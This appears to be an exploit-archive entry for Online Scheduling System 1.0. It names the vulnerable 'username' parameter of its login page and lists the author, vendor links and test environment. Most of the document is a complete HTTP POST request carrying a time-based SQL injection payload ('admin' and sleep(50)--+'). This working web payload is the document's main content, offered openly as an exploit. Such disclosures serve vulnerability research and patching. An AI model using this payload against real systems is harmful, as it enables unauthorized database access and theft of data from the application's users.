Online Scheduling System 1.0 SQL Injection

`# Exploit Title: Online Scheduling System 1.0 - 'username' SQL Injection  
# Date: 2020-05-04  
# Exploit Author: Saurav Shukla  
# Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip  
# Version: 1.0  
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4  
  
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#parameter Vulnerable: username  
# Injected Request  
POST /oss/login.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 55  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/oss/Register.php  
Cookie: PHPSESSID=091v1e2g6109rrbduk924psea9  
Upgrade-Insecure-Requests: 1  
  
username=admin' and sleep(50)--+&password=admin&lgn=Add  
`